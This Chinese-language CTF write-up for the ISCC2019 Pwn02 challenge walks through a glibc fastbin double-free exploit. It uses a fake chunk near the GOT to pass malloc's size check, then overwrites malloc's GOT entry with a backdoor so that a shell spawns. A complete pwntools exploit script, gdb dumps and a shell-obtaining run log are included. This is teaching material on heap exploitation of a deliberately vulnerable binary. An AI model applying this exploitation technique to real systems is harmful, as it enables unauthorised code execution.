ISCC2019 Pwn02 writeup
TOC
1. 程序功能介绍 1.1. 安全防护 1.2. main 1.3. 后门函数:sh 2. 分析 3. 思路 3.1. double free 3.2. 拿任意chunk 3.2.1. fastbin的size检查 3.2.2. 查看size 3.3. 劫持got表 4. 完整脚本 4.1. 运行实例 5. 总结
源程序下载:pwn02.zip
本题主要考察 double free 漏洞的使用。建议在无tcache机制的glib下实验,也就是glibc-2.26以前的版本。
程序功能介绍 安全防护 ex@ubuntu:~/test$ checksec pwn02 [*] '/home/ex/test/pwn02' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
main int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { int *no_use; int v4; char *ptr[10 ]; int sz; int idx; int cmd; setvbuf (stdout, 0LL , 2 , 0LL ); no_use = 0LL ; memset (ptr, 0 , 80uLL ); puts ("1. malloc + gets\n2. free\n3. puts" ); while ( 1 ) { while ( 1 ) { printf ("> " , no_use); no_use = &cmd; scanf ("%d %d" , &cmd, &idx); idx %= 10 ; if ( cmd != 1 ) break ; no_use = &sz; scanf ("%d%*c" , &sz); v4 = idx; ptr[v4] = (char *)malloc (sz); gets (ptr[idx]); } if ( cmd == 2 ) { free (ptr[idx]); } else { if ( cmd != 3 ) exit (0 ); puts (ptr[idx]); } } }
程序流还是很简单明了。
后门函数:sh void __cdecl sh (char *cmd) { char *ss_0[10 ]; system (cmd); fgets ((char *)ss_0, 0 , stdin); }
分析 明显的double free,申请任意chunk即可,只需要绕过fastbin的size检查。
思路
double free
拿任意chunk
劫持got表
double free sh.sendline('1 0\n48' ) sh.sendline('aaaa' ) sh.sendline('1 1\n48' ) sh.sendline('aaaa' ) sh.sendline('2 0' ) sh.sendline('2 1' ) sh.sendline('2 0' )
拿任意chunk 先查看got表:
ex@Ex:~/test$ objdump -R pwn02 pwn02: file format elf64-x86-64 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 0000000000600db8 R_X86_64_GLOB_DAT __gmon_start__ 0000000000600e50 R_X86_64_COPY stdout@@GLIBC_2.2.5 0000000000600e60 R_X86_64_COPY stdin@@GLIBC_2.2.5 0000000000600dd8 R_X86_64_JUMP_SLOT free@GLIBC_2.2.5 0000000000600de0 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5 0000000000600de8 R_X86_64_JUMP_SLOT system@GLIBC_2.2.5 0000000000600df0 R_X86_64_JUMP_SLOT printf@GLIBC_2.2.5 0000000000600df8 R_X86_64_JUMP_SLOT memset@GLIBC_2.2.5 0000000000600e00 R_X86_64_JUMP_SLOT __libc_start_main@GLIBC_2.2.5 0000000000600e08 R_X86_64_JUMP_SLOT fgets@GLIBC_2.2.5 0000000000600e10 R_X86_64_JUMP_SLOT gets@GLIBC_2.2.5 0000000000600e18 R_X86_64_JUMP_SLOT malloc@GLIBC_2.2.5 0000000000600e20 R_X86_64_JUMP_SLOT setvbuf@GLIBC_2.2.5 0000000000600e28 R_X86_64_JUMP_SLOT __isoc99_scanf@GLIBC_2.7 0000000000600e30 R_X86_64_JUMP_SLOT exit@GLIBC_2.2.5
再用gdb调试看看哪个地方的size可以用来绕过fastbin的size检查。
fastbin的size检查 ► 0x7fcc2672667f <_int_malloc+194> mov eax, dword ptr [rbx + 8] 0x7fcc26726682 <_int_malloc+197> shr eax, 4 0x7fcc26726685 <_int_malloc+200> sub eax, 2 0x7fcc26726688 <_int_malloc+203> cmp esi, eax 0x7fcc2672668a <_int_malloc+205> je _int_malloc+269 <0x7fcc267266ca> ↓ 0x7fcc267266ca <_int_malloc+269> add rbx, 0x10 ───────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────── In file: /home/ex/glibc/glibc-2.23/malloc/malloc.c 3378 } 3379 while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim)) 3380 != victim); 3381 if (victim != 0) 3382 { ► 3383 if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0)) 3384 { 3385 errstr = "malloc(): memory corruption (fast)"; 3386 errout: 3387 malloc_printerr (check_action, errstr, chunk2mem (victim), av); 3388 return NULL;
查看size pwndbg> x/16gx 0x0600dd8 0x600dd8: 0x00007fcc26728704 0x00007fcc26717c99 0x600de8: 0x00000000004006b6 0x00007fcc26700410 0x600df8: 0x00007fcc267f0140 0x00007fcc266d4a88 0x600e08: 0x00000000004006f6 0x00007fcc267173c0 0x600e18: 0x00007fcc267280be 0x00007fcc26718430 0x600e28: 0x00007fcc26713fef 0x0000000000400746 0x600e38: 0x0000000000000000 0x0000000000000000 0x600e48: 0x0000000000000000 0x00007fcc26a3f620
之后选择用fgets的got地址来作为size,也就是0000000000600e08 R_X86_64_JUMP_SLOT fgets@GLIBC_2.2.5
,之后对地址进行偏移:
pwndbg> x/4gx 0x600e08-6 0x600e02: 0x06f600007fcc266d 0x73c0000000000040 0x600e12: 0x80be00007fcc2671 0x843000007fcc2672
由此构造好了我们的size:00000040
,这样就可以绕过fastbin的size检查。
对应的脚本:
sh.sendline('1 0\n48' ) sh.sendline(p64(0x600e08 -6 )) sh.sendline('1 1\n48' ) sh.sendline('ddddd\0' ) sh.sendline('1 2\n48' ) sh.sendline('cccccccc' )
调试结果如下:
pwndbg> bin fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x600e02 (_GLOBAL_OFFSET_TABLE_+66) ◂— 0x20be00007ff7624d 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty pwndbg> p/x *(mchunkptr)0x600e02 $1 = { prev_size = 0x6f600007ff76248, size = 0x13c0000000000040, fd = 0x20be00007ff7624d, bk = 0x243000007ff7624e, fd_nextsize = 0xdfef00007ff7624d, bk_nextsize = 0x74600007ff7624c } pwndbg>
从上面可以看出,我们只要在malloc一次就能拿出那个任意的chunk了。
劫持got表 拿了chunk后,0x600e12
地址就是我们可以控制的地址,该地址旁边的got表如下所示:
0000000000600e10 R_X86_64_JUMP_SLOT gets@GLIBC_2.2.5 0000000000600e18 R_X86_64_JUMP_SLOT malloc@GLIBC_2.2.5 0000000000600e20 R_X86_64_JUMP_SLOT setvbuf@GLIBC_2.2.5
然后我们就可以修改malloc
的got地址 为 sh
(后门函数)的地址,并把参数字符串就放在malloc
的got地址的后面(那么它的地址就是malloc
的got地址 + 8),这样虽然会覆盖掉setvbuf的地址,但是我们已经不用这个函数了,所以不受影响,接下来就是malloc
传参了。
malloc传参:直接把参数字符串的地址当成一个malloc的size传进行就可以,因为对于汇编来说,他们本质都是8个字节的数据(可以看成是C语言的强制类型转换),说实话,我在这里卡了很久,没想到解决方法这么简单,真是白学了这么久的C语言。
sh.sendline('1 2\n48' ) sh_addr = 0x000000000400856 sh.sendline('f' * 6 + p64(sh_addr) + 'sh' ) bin_sh_addr = elf.got['malloc' ] + 8 sh.sendline('1 3\n' + str (bin_sh_addr)) sh.interactive()
完整脚本 from pwn import *import timeimport osimport structsh = process('./pwn02' ) elf = ELF('./pwn02' ) try : f = open ('pid' , 'w' ) f.write(str (proc.pidof(sh)[0 ])) f.close() except Exception as e: print (e) sh.sendline('1 0\n48' ) sh.sendline('aaaa' ) sh.sendline('1 1\n48' ) sh.sendline('aaaa' ) sh.sendline('2 0' ) sh.sendline('2 1' ) sh.sendline('2 0' ) sh.sendline('1 0\n48' ) sh.sendline(p64(0x600e08 -6 )) sh.sendline('1 1\n48' ) sh.sendline('ddddd\0' ) sh.sendline('1 2\n48' ) sh.sendline('cccccccc' ) sh.sendline('1 2\n48' ) sh_addr = 0x000000000400856 sh.sendline('f' * 6 + p64(sh_addr) + 'sh' ) bin_sh_addr = elf.got['malloc' ] + 8 sh.sendline('1 3\n' + str (bin_sh_addr)) sh.interactive() os.system('rm -f pid' )
运行实例 ex@ubuntu:~/test$ ./exp.py [+] Starting local process './pwn02': pid 3190 [*] '/home/ex/test/pwn02' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] Switching to interactive mode 1. malloc + gets 2. free 3. puts > > > > > > > > > > $ id uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) $
总结 这题其实挺简单的,但就是在传递参数上面卡了很久,还是见识得太少了。